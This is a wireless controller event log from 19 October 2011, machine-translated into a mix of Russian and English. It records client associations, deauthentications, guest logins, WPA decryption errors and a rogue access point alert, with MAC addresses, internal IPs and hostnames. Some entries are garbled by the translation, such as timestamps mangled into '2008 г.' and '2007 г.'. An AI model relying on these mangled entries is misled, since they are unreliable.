18 Среда 19 октября 09:15:27 2011 Связь с клиентом: MAC-адрес клиента: e0: f8: 47: c7: 07: 95 MAC-адрес базовой радиостанции: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.182
19 Wed Oct 19 09:14:33 2011 Связь с клиентами: MAC-адрес клиента: 98: 03: d8: 9e: a2: 83 MAC-адрес базовой радиостанции: 00: 1e: 4a: c0: 07:90 Слот: 0 Имя пользователя: неизвестно IP-адрес: неизвестно
20 среда, 19 октября 09:11:51 2011 Клиент деаутентифицирован: MAC-адрес: d8: 9e: 3f: 1f: ad: 3e Base Radio MAC: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.183 Причина: Не указано Код причины: 1
21 Ср 19 октября 09:11:37 2011 Связь с клиентом: MAC-адрес клиента: 00: 1d: d9: 3d: ba: df MAC-адрес базовой радиостанции: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: неизвестно
22 Ср 19 октября, 09:11:36 2011 Клиент деаутентифицирован: MAC-адрес: 00: 1d: d9: 3d: ba: df Базовое радио MAC: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP Адрес: 192.168.66.121 Причина: Не указано Код причины: 1
23 Ср 19 октября 09:10:26 2011 Связь с клиентом: MAC-адрес клиента: c4: 17: fe: 03: be: a6 MAC-адрес базовой радиостанции: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.181
24 Ср 19 октября 09:10:26 2011 Связь с клиентом: MAC-адрес клиента: e0: f8: 47: c7: 07: 95 Base Radio MAC: 00: 1e: 4a: c0: 07: 90 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.182
25 Wed Oct 19 09:06:37 2011 Ассоциация клиентов: MAC-адрес клиента: 58: 1f: aa: 21: 5c: f7 MAC-адрес базовой радиостанции: 00: 1e: 4a: bf: b2: 90 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.165
26 Wed Oct 19 09:06:31 2011 Связь с клиентами: MAC-адрес клиента: d8: 9e: 3f: 1f: ad: 3e MAC-адрес базовой радиостанции: 00: 3a: 98: 66: 50:60 Слот: 0 Имя пользователя: неизвестно IP-адрес: неизвестно
27 среда, 19 октября 09:06:12 2011 Связь с клиентом: MAC-адрес клиента: 00: 1d: d9: 3d: ba: df Base Радио MAC: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: неизвестно
28 Ср 19 октября 09:06:11 2011 Клиент деаутентифицирован: MAC-адрес: 00: 1d: d9: 3d: ba: df Base Radio MAC: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.121 Причина: Не указано Код причины: 1
29 Среда 19 октября 09:06:01 2011 Пользовательский gjest вошел в систему. MAC клиента: c4: 17: fe: 03: be: a6, IP-адрес клиента: 192.168.66.181, AP MAC: 00: 3a: 98: 65: f0: b0, AP Name: Foaje
30 Wed Oct 19 09:05:24 2011 Client Association: Client MAC: e0: f8 : 47: c7: 07: 95 MAC-адрес базового радио: 00: 1e: 4a: c0: 07: 90 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.182
31 среда 19 октября 09:05: 03 2011 Клиент деаутентифицирован: MAC-адрес: 98: 03: d8: 9e: a2: 83 Базовый радиомодуль MAC: 00: 1e: 4a: c0: 07: 90 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.148 Причина: Не указано Код причины: 1
32 Среда 19 октября 09:04:23 2011 Связь с клиентом: MAC-адрес клиента: c4: 17: fe: 03: be: a6 MAC-адрес базовой радиостанции: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.181
33 Ср, 19 октября 09:03:51 2011 Связь с клиентом: MAC-адрес клиента: c4: 17: fe: 03: be: a6 Базовое радио MAC: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: неизвестно IP-адрес: неизвестно
34 среда 19 октября 09:01:35 2011 Связь с клиентом: MAC-адрес клиента: 64: b9: e8: 2f: fd: a5 MAC-адрес базового радио: 00: 1e: 4a: bf: 8a: 40 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.172
35 Ср 19 октября 09:01:16 2011 Связь с клиентом: MAC-адрес клиента: 00: 24: d6: 86: 3c: 4a MAC-адрес базовой радиостанции: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: host / NUSBLAP7.dsb.no IP-адрес: 10.66.16.104
36 Ср, 19 октября 09:00:59 2011 Ассоциация клиентов: MAC-адрес клиента: 00: 24: d6: 8c: 9f: 1a Base Radio MAC: 00: 1e: 4a: bf: 8a: 40 Слот: 1 Имя пользователя: host / NUSBLAP8.dsb.no IP-адрес: 10.66.16.100
37 среда, октябрь 19 09:00:47 2011 Связь с клиентом: MAC-адрес клиента: 00: 1d: d9: 3d: ba: df MAC-адрес базовой радиостанции: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестный IP-адрес : unknown
38 Wed Oct 19 09:00:46 2011 Client Deauthenticated: MACAddress: 00: 1d: d9: 3d: ba: df Base Radio MAC: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.121 Причина: Не указан Код причины: 1
39 Среда 19 октября 09:00:23 2011 Связь с клиентом: MAC-адрес клиента: e0: f8: 47: c7: 07: 95 MAC-адрес базовой радиостанции: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.182
40 Ср 19 октября 08:59:43 2011 Связь с клиентом: MAC-адрес клиента: 98: 03: d8: 9e: a2: 83 Базовое радио MAC: 00: 1e: 4a: c0: 07: 90 Слот: 0 Имя пользователя: неизвестно IP-адрес: неизвестно
41 среда 19 октября 08:58:55 2011 Пользователь вошел в систему.MAC-адрес клиента: f8: 1e: df: e7: ab: a5, IP-адрес клиента: 192.168.66.180, MAC-адрес AP: 00: 1e: 4a: bf: 8a: 40, имя AP: U1_vegg
42 среда, октябрь 19 08:58:20 2011 Связь с клиентом: MAC-адрес клиента: f8: 1e: df: e7: ab: a5 MAC-адрес базовой радиостанции: 00: 1e: 4a: bf: 8a: 40 Слот: 1 Имя пользователя: неизвестный IP-адрес : unknown
43 Wed Oct 19 08:57:50 2011 Пользователь gjest вошел в систему. MAC клиента: e0: f8: 47: 3f: 8e: f4, IP клиента: 192.168.66.169, MAC MAC: 00: 1e: 4a: bf: 8a: 40, имя AP: U1_vegg
44 среда 19 октября 08:57:39 2011 Ошибка аутентификации AAA для UserName: gjest Тип пользователя: ПОЛЬЗОВАТЕЛЬ WLAN
45 Ср 19 октября 08:57:22 2011 Ассоциация клиентов: MAC-адрес клиента: e0: f8: 47: 3f: 8e: f4 MAC-адрес базовой радиостанции: 00: 1e: 4a: bf: 8a: 40 Слот: 1 пользователь Имя: unknown IP Address: unknown
46 Wed Oct 19 08:55:22 2011 Связь с клиентом: MAC-адрес клиента: 00: 1d: d9: 3d: ba: df Base Radi o MAC: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: неизвестно
47 Ср 19 октября 08:55:21 2011 Связь с клиентом: MAC-адрес клиента: e0 : f8: 47: c7: 07: 95 MAC-адрес базового радио: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.182
48 среда, 19 октября 08:55:21 2011 Клиент деаутентифицирован: MAC-адрес: 00: 1d: d9: 3d: ba: df Базовое радио MAC: 00: 3a: 98: 66: 50 : 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.121 Причина: Не указано Код причины: 1
49 Ср, 19 октября 08:54:11 2011 Произошли ошибки дешифрования для клиента 00: 24: d6: 8c: 9f: 1a с использованием ключа WPA на интерфейсе 802.11a точки доступа 00: 1e: 4a: bf: 8a: 40
50 Среда 19 октября 08:50:20 2011 Ассоциация клиентов: MAC-адрес клиента: e0 : f8: 47: c7: 07: 95 MAC-адрес базового радио: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.182
51 среда, 19 октября 08:50:13 2011 Клиент деаутентифицирован: MAC-адрес: 98: 03: d8: 9e: a2: 83 Базовое радио MAC: 00: 1e: 4a: c0: 07 : 90 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.148 Причина: Не указано Код причины: 1
52 Ср 19 октября 08:49:57 2011 Связь с клиентом: MAC-адрес клиента: 00: 1d: d9 : 3d: ba: df Базовое радио MAC: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: неизвестно
53 Среда 19 октября 08:49:56 2011 Клиент деаутентифицирован: MAC-адрес: 00: 1d: d9: 3d: ba: df Базовое радио MAC: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.121 Причина: Не указано Код причины: 1
54 Среда 19 октября 08:48:13 2011 Связь с клиентом: MAC-адрес клиента: 64: b9: e8: 2f: fd: a5 MAC-адрес базовой радиостанции: 00: 1e: 4a: bf: 8a: 40 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.172
55 среда 19 октября 08:45:19 2011 Связь с клиентом: MAC-адрес клиента: e0: f8: 47: c7: 07: 95 Базовое радио MAC: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.182
56 среда 19 октября 08:44:53 2011 Ассоциация клиентов: MAC-адрес клиента: 98: 03: d8: 9e: a2: 83 MAC-адрес базовой радиостанции: 00: 1e: 4a: c0: 07: 90 Слот: 0 Имя пользователя: неизвестно IP-адрес: неизвестно
57 Ср 19 октября 08:44:32 2011 Связь с клиентом: MAC-адрес клиента: 00: 1d: d9: 3d: ba: df MAC-адрес базовой радиостанции: 00: 3a: 98: 66: 50: 60 Слот: 0 Пользователь Имя: unknown IP Address: unknown
58 Wed Oct 19 08:44:31 2011 Клиент деаутентифицирован: MAC-адрес : 00: 1d: d9: 3d: ba: df Base Radio MAC: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.121 Причина: Не указано Код причины: 1
59 Среда 19 октября 08:43:24 2011 Клиент деаутентифицирован: MAC-адрес: d8: 9e: 3f: 1f: ad: 3e MAC-адрес базовой радиостанции: 00: 3a : 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.183 Причина: Не указан Код причины: 1
60 Ср, 19 октября 08:43:10 2011 Клиент деаутентифицирован: MAC-адрес: 98: 03: d8: 9e: a2: 83 MAC-адрес базового радио: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.148 Причина: Не указан Код причины: 1
61 Среда 19 октября 08:40:18 2011 Связь с клиентом: MAC-адрес клиента: e0: f8: 47: c7: 07: 95 MAC-адрес базовой радиостанции: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.182
62 Ср 19 октября 08:39:07 2011 Связь с клиентом: MAC-адрес клиента: 00: 1d: d9: 3d: ba: df Базовое радио MAC: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: неизвестно
63 среда 19 октября 08:39:06 2011 Клиент деаутентифицирован: MAC-адрес: 00: 1d: d9: 3d: ba: df Базовый радиомодуль MAC: 00: 1e: 4a: c0: 07: 90 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.121 Причина: Не указано Код причины: 1
64 Среда 19 октября 08:38:04 2011 Связь с клиентом: MAC-адрес клиента: d8: 9e: 3f: 1f: ad: 3e MAC-адрес базовой радиостанции: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: неизвестно
65 среда 19 октября 08:37:50 2011 Связь с клиентом: MAC-адрес клиента: 98: 03: d8: 9e: a2: 83 Base Radio MAC: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: unknown IP-адрес: unknown
66 Wed Oct 19 08:36:24 2011 Client Связь: MAC-адрес клиента: d0: c1: b1: 03: 12: c3 MAC-адрес базового радио: 00: 1e: 4a: bf: 8a: 40 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.175
67 Ср 19 октября 08:35:20 2011 Клиент деаутентифицирован: MAC-адрес: 98: 03: d8: 9e: a2: 83 Базовое радио MAC: 00: 3a: 98: 65: f0 : b0 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.148 Причина: Не указано Код причины: 1
68 Ср, 19 октября 08:35:16 2011 Связь с клиентом: MAC-адрес клиента: e0: f8: 47 : c7: 07: 95 Базовое радио MAC: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.182
69 Ср 19 октября 08:34:21 2011 Клиент деаутентифицирован: MAC-адрес: d8: 9e: 3f: 1f: ad: 3e Base Radio MAC: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.183 Причина: Не указан Код причины: 1
70 Среда 19 октября 08:34:17 2011 Связь с клиентом: MAC-адрес клиента: d0: c1: b1: 03: 12: c3 MAC-адрес базовой радиостанции: 00: 1e: 4a: c0: 07: 90 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.175
71 Среда 19 октября 08:34:12 2011 Произошли ошибки дешифрования для клиента 00: 24: d6 : 8c: 9f: 1a с использованием ключа WPA на интерфейсе 802.11a точки доступа 00: 1e: 4a: bf: 8a: 40
72 среда, 19 октября 08:34:08 2011 Связь с клиентом: MAC-адрес клиента: 58: 1f: aa: 21: 5c: f7 MAC-адрес базовой станции: 00: 1e: 4a: bf: b2: 90 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.165
73 Wed Oct 19 08:33:45 2011 Ассоциация клиентов: MAC-адрес клиента: 00: 1d: d9: 3d: ba: df MAC-адрес базовой радиостанции: 00: 1e: 4a: c0: 07:90 Слот: 0 Имя пользователя: неизвестно IP-адрес: неизвестно
74 среда, 19 октября 08:33:45 2011 Клиент деаутентифицирован: MAC-адрес: 00: 1d: d9: 3d: ba: df Базовое радио MAC: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.121 Причина: Не указано Код причины: 1
75 Ср 19 октября 08:32:25 2011 Связь с клиентом: MAC-адрес клиента: 64: b9: e8: 2f: fd: a5 MAC-адрес базовой станции: 00: 1e: 4a: bf: 8a: 40 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.172
76 Wed Oct 19 08:31:16 2011 Ассоциация клиентов: MAC-адрес клиента: 00: 24: d6: 86: 3c: 4a MAC-адрес базовой радиостанции: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: host / NUSBLAP7.dsb.no IP-адрес: 10.66.16.104
77 Ср, 19 октября 08:30:59 2011 Ассоциация клиентов: MAC-адрес клиента: 00: 24: d6: 8c: 9f: 1a Base Radio MAC: 00: 1e: 4a: bf: 8a: 40 Слот: 1 Имя пользователя: host / NUSBLAP8.dsb.no IP-адрес: неизвестно
78 среда, 19 октября 2008 г. : 30: 15 2011 Связь с клиентом: MAC-адрес клиента: e0: f8: 47: c7: 07: 95 MAC-адрес базовой радиостанции: 00: 1e: 4a: c0: 07: 90 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192 .168.66.182
79 Wed Oct 19 08:30:01 2011 Ассоциация клиентов: MAC-адрес клиента: 58: 1f: aa: 21: 5c: f7 MAC-адрес базовой радиостанции: 00: 1e: 4a: bf: 8a: 40 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.165
80 Ср 19 октября 08:30:00 2011 Связь с клиентом: MAC-адрес клиента: 98: 03: d8: 9e: a2: 83 Base Radio MAC: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: unknown IP Address: unknown
81 Wed Oct 19 08:29:31 2011 Client Association: Client MAC : e0: f8: 47: c7: 07: 95 MAC-адрес базового радио: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.182
82 Ср, 19 октября 08:28:59 2011 Ассоциация клиентов: MAC-адрес клиента: d8: 9e: 3f: 1f: ad: 3e MAC-адрес базовой радиостанции: 00: 3a: 98: 66: 50:60 Слот: 0 Имя пользователя: неизвестно IP-адрес: неизвестно
83 среда, 19 октября 08:28:30 2011 Ассоциация клиентов: MAC-адрес клиента: e0: f8: 47: c7: 07: 95 База MAC-адрес радио: 00: 1e: 4a: c0: 07: 90 Слот: 0 Имя пользователя: неизвестно IP-адрес: неизвестно
84 среда 19 октября 08:28:25 2011 Связь с клиентом: MAC-адрес клиента: 00 : 1d: d9: 3d: ba: df MAC-адрес базовой станции: 00: 3a: 98: 66: 50: 60 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.121
85 Ср 19 октября 08:26:55 2011 Пользователь вышел из системы. MAC-адрес клиента: f8: 1e: df: e7: ab: a5, IP-адрес клиента: 192.168.66.180, MAC-адрес AP: 00: 3a: 98: 65: f0: b0, имя AP: Foaje
86 среда, октябрь 19 08:26:55 2011 Клиент деаутентифицирован: MAC-адрес: f8: 1e: df: e7: ab: a5 Базовое радио MAC: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.180 Причина: Не указано Код причины: 1
87 Среда 19 октября 08:26:52 2011 Связь с клиентом: MAC-адрес клиента: 00: 1d: d9: 3d: ba: df MAC-адрес базовой радиостанции: 00: 1e: 4a: c0: 07: 90 Слот: 0 Имя пользователя: неизвестно IP-адрес: unknown
88 Wed Oct 19 08:26:21 2011 Связь с клиентом: MAC-адрес клиента: 00: 1d: e0: 50: e5: 4f Base Radio MAC: 00: 1e: 4a: bf: d9: 90 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.179
89 Wed Oct 19 08:26:13 2011 Пользователь вышел из системы. MAC-адрес клиента: c4: 17: fe: 03: be: a6, IP-адрес клиента: 192.168.66.181, MAC-адрес точки доступа: 00: 3a: 98: 66: 4b: f0, имя точки доступа: Forlengning
90 среда, октябрь 19 08:26:13 2011 Клиент деаутентифицирован: MAC-адрес: c4: 17: fe: 03: be: a6 Base Radio MAC: 00: 3a: 98: 66: 4b: f0 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.181 Причина: Не указано Код причины: 1
91 Среда 19 октября 08:25:08 2011 Клиент деаутентифицирован: MAC-адрес: 98: 03: d8: 9e: a2: 83 Базовый MAC-адрес радио: 00: 1e : 4a: bf: d9: 70 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.148 Причина: Не указано Код причины: 1
92 Ср, 19 октября 08:21:36 2011 Rogue AP: 00: 22: 07: 0c: 99: 02 удален из Base Radio MAC: 00: 3a : 98: 66: 50: 60 Номер интерфейса: 0 (802.11b / g)
93 Среда 19 октября 08:20:45 2011 Связь с клиентом: MAC-адрес клиента: 58: 1f: aa: 21: 5c: f7 Base Radio MAC: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.165
94 Wed Oct 19 08:19:48 2011 Клиент Связь: MAC-адрес клиента: 98: 03: d8: 9e: a2: 83 MAC-адрес базовой станции: 00: 1e: 4a: bf: d9: 70 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.148
95 Wed Oct 19 08:18:18 2011 Ассоциация клиентов: MAC-адрес клиента: 64: b9: e8: 2f: fd: a5 MAC-адрес базовой радиостанции: 00: 1e: 4a: bf: 8a: 40 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.172
96 Wed Oct 19 08:14:38 2011 Ассоциация клиентов: MAC-адрес клиента: 98: 03: d8: 9e: a2: 83 MAC-адрес базовой радиостанции: 00: 1e: 4a: bf: d9: 70 Слот: 0 Имя пользователя: unknown IP-адрес: unknown
97 Wed Oct 19 08:07:40 2011 Client Deauthenticated: MACAddress: 98: 03: d8: 9e: a2: 83 MAC-адрес базового радио: 00: 3a: 98: 5c: ea: 40 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.148 Причина: Не указано Код причины: 1
98 Среда 19 октября 08:07:33 2011 Связь с клиентом: MAC-адрес клиента: 64: b9: e8: 2f: fd: a5 MAC-адрес базовой радиостанции: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.172
99 среда, 19 октября 08:06:57 2011 Связь с клиентом: MAC-адрес клиента: 64: b9: e8: 2f: fd: a5 Базовое радио MAC: 00: 3a: 98: 66: 4b: f0 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.172
100 Ср, 19 октября 08:03:24 2011 Связь с клиентом: MAC-адрес клиента: 64: b9: e8: 2f: fd: a5 MAC-адрес базовой радиостанции: 00: 3a: 98: 4d: 3e: d0 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.172
101 Wed Oct 19 08:02:18 2011 Ассоциация клиентов: MAC-адрес клиента: 98: 03: d8: 9e: a2: 83 MAC-адрес базовой радиостанции: 00: 3a: 98: 5c: ea: 40 Слот: 0 Имя пользователя: unknown IP-адрес: unknown
102 Wed Oct 19 08:01:36 2011 Rogue AP: 00: 22: 07: 0c: 99: 02 обнаружен на базовой радиостанции MAC: 00: 3a: 98: 66: 50: 60 Номер интерфейса: 0 (802.11b / g) с RSSI: -96 и SNR: -5 и классификация: несекретный
103 среда 19 октября 08:01 : 16 2011 Связь с клиентом: MAC-адрес клиента: 00: 24: d6: 86: 3c: 4a MAC-адрес базового радио: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: host / NUSBLAP7.dsb.no IP-адрес: 10.66.16.104
104 среда 19 октября 07:54:02 2011 Клиент деаутентифицирован: MAC-адрес: 58: 17: 0c: 4b: e3: 80 Базовое радио MAC: 00: 3a : 98: 4d: 3e: d0 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.177 Причина: Не указано Код причины: 1
105 Ср 19 октября 07:48:42 2011 Связь с клиентом: MAC клиента : 58: 17: 0c: 4b: e3: 80 MAC-адрес базовой станции: 00: 3a: 98: 4d: 3e: d0 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.177
106 среда, 19 октября 07:43:22 2011 Связь с клиентом: MAC-адрес клиента: 58: 17: 0c: 4b: e3: 80 MAC-адрес базовой радиостанции: 00: 1e: 4a: bf: d9: 90 Слот: 0 Имя пользователя: неизвестно IP-адрес: unknown
107 Wed Oct 19 07:43:22 2011 Клиент деаутентифицирован: MAC-адрес: 58: 17: 0c: 4b: e3: 80 MAC-адрес базовой радиостанции: 00: 3a: 98: 4d: 3e: d0 Слот: 0 Имя пользователя: неизвестно IP-адрес: неизвестно Причина: не указана Код причины: 1
108 19 октября, среда, 07:41:02 2011 Связь с клиентом: MAC-адрес клиента: 58: 17: 0c: 4b: e3: 80 MAC-адрес базовой радиостанции: 00: 3a: 98: 4d: 3e: d0 Слот: 0 Имя пользователя: неизвестно IP-адрес: неизвестно
109 среда 19 октября 07:41:02 2011 Клиент деаутентифицирован: MAC-адрес: 58: 17: 0c: 4b: e3: 80 Базовое радио MAC: 00: 3a: 98: 66: 4b: f0 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.177 Причина: Не указано Код причины: 1
110 Среда, 19 октября 07:38:29 2011 Клиент деаутентифицирован: MAC-адрес: 00: 22: 5f: 30: ed: 28 MAC-адрес базовой радиостанции: 00: 3a : 98: 5c: ea: 40 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.176 Причина: Не указано Код причины: 1
111 Ср 19 октября 07:35:36 2011 Связь с клиентом: MAC клиента : 58: 17: 0c: 4b: e3: 80 MAC-адрес базового радио: 00: 3a: 98: 66: 4b: f0 Слот: 0 Имя пользователя: неизвестно IP-адрес: неизвестно
112 среда 19 октября 07: 35:25 2011 Клиент деаутентифицирован: MAC-адрес: 58: 17: 0c: 4b: e3: 80 Базовый радиомодуль MAC: 00: 3a: 98: 66: 4b: f0 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.177 Причина: Не указано Код причины: 1
113 Ср 19 октября 07:33:09 2011 Связь с клиентом: MAC-адрес клиента: 00: 22: 5f: 30: ed: 28 MAC-адрес базовой радиостанции: 00: 3a: 98: 5c: ea: 40 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.176
114 Ср 19 октября 07:31:17 2011 Связь с клиентом: MAC-адрес клиента: 00: 22: 5f: 30: ed: 28 Базовое радио MAC: 00: 1e: 4a: c0: 07: 90 Слот: 0 Имя пользователя: неизвестно IP-адрес: неизвестно
115 Ср 19 октября 07:31:17 2011 Клиент деаутентифицирован: MAC-адрес: 00: 22: 5f: 30: ed: 28 MAC-адрес базового радио: 00: 1e: 4a: c0: 07: 90 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.176 Причина: Не указано Код причины: 1
116 Среда 19 октября 07:31:16 2011 Связь с клиентом: MAC-адрес клиента: 00: 24: d6: 86: 3c: 4a MAC-адрес базовой радиостанции: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: host / NUSBLAP7.dsb.no IP-адрес: 10.66.16.104
117 Wed Oct 19 07:30:00 2011 Client Association: Client MAC: 58: 17: 0c: 4b: e3: 80 Базовое радио MAC: 00: 3a: 98: 66: 4b: f0 Слот: 0 Имя пользователя: неизвестно IP-адрес: неизвестно
118 среда 19 октября 07 : 28: 49 2011 Предварительная тревога прохождения зоны покрытия для клиента [1] f8: 1e: df: e7: ab: a5 на 802.11b / g интерфейс AP 00: 3a: 98: 65: f0: b0 (Foaje). Исторический: 0 0 0 0 1 7 22 54 99 155 126 51 19 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
119 Ср 19 октября 07:26:45 2011 Ассоциация клиентов: MAC-адрес клиента: 58: 1f: aa: 21: 5c: f7 MAC-адрес базовой радиостанции: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.165
120 Wed Oct 19 07:25:53 2011 Ассоциация клиентов: MAC-адрес клиента: 00: 22: 5f: 30: ed: 28 MAC-адрес базовой радиостанции: 00: 1e: 4a: c0: 07: 90 Слот: 0 Пользователь Имя: unknown IP Address: unknown
121 Wed Oct 19 07:25:52 2011 Client Deauthenticated: MACAddress: 00: 22: 5f: 30: ed: 28 Base Radio MAC: 00: 1e: 4a : c0: 07: 90 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.176 Причина: Не указано Код причины: 1
122 Среда 19 октября 07:25:19 2011 Связь с клиентом: MAC-адрес клиента: f8: 1e: df: e7: ab: a5 MAC-адрес базовой радиостанции: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.180
123 Ср 19 октября 07:23:44 2011 Связь с клиентом: MAC-адрес клиента: 58: 1f: aa: 21: 5c: f7 MAC-адрес базового радио: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.165
124 среда 19 октября 07:20:32 2011 Ассоциация клиентов: MAC-адрес клиента: 00: 22: 5f: 30: ed: 28 MAC-адрес базовой радиостанции: 00: 1e: 4a: c0: 07: 90 Слот: 0 Имя пользователя: неизвестно IP-адрес: неизвестно
125 Ср 19 октября 07:20:31 2011 Клиент деаутентифицирован: MAC-адрес: 00: 22: 5f: 30: ed: 28 Базовое радио MAC: 00: 3a: 98: 5c: ea: 40 Слот: 0 Имя пользователя : unknown IP Address: 192.168.66.176 Причина: Не указан Код причины: 1
126 Ср 19 октября 07:19:53 2011 Связь с клиентом: MAC-адрес клиента: 58: 1f: aa: 21: 5c: f7 MAC-адрес базовой радиостанции: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: gjest IP-адрес: 192.168.66.165
127 Среда 19 октября 07:15:09 2011 Связь с клиентом: MAC-адрес клиента: 00: 22: 5f: 30: ed: 28 Базовое радио MAC: 00: 3a: 98: 5c: ea: 40 Слот: 0 Имя пользователя: неизвестно IP-адрес: неизвестно
128 Среда 19 октября 07:15:08 2011 Клиент деаутентифицирован: MAC-адрес: 00: 22: 5f: 30: ed: 28 MAC-адрес базового радио: 00: 1e: 4a: c0: 07: 90 Слот: 0 Имя пользователя: неизвестно IP-адрес: 192.168.66.176 Причина: Не указано Код причины: 1
129 Ср, 19 октября 07:09:46 2011 Связь с клиентом: MAC-адрес клиента: 00: 22: 5f: 30: ed: 28 MAC-адрес базового радио: 00: 1e: 4a: c0: 07: 90 Слот: 0 Имя пользователя: неизвестно IP-адрес: неизвестно
130 Ср 19 октября 07:01:15 2011 Связь с клиентом: MAC-адрес клиента: 00: 24: d6: 86: 3c: 4a Base Radio MAC: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: host / NUSBLAP7.dsb.no IP-адрес: 10.66.16.104
131 среда, 19 октября 2007 г. : 00: 05 2011 Произошли ошибки дешифрования для клиента 00: 24: d6: 86: 3c: 4a с использованием ключа WPA на 802.11b / g интерфейс AP 00: 3a: 98: 65: f0: b0
132 среда 19 октября 06:36:38 2011 Rogue AP: 00: 22: 07: 0c: 99: 02 удалено от Base Radio MAC: 00: 3a: 98: 66: 50: 60 Номер интерфейса: 0 (802.11b / g)
133 Ср 19 октября 06:31:15 2011 Связь с клиентом: MAC клиента: 00: 24: d6: 86: 3c: 4a MAC-адрес базового радио: 00: 3a: 98: 65: f0: b0 Слот: 0 Имя пользователя: host / NUSBLAP7.dsb.no IP-адрес: 10.66.16.104
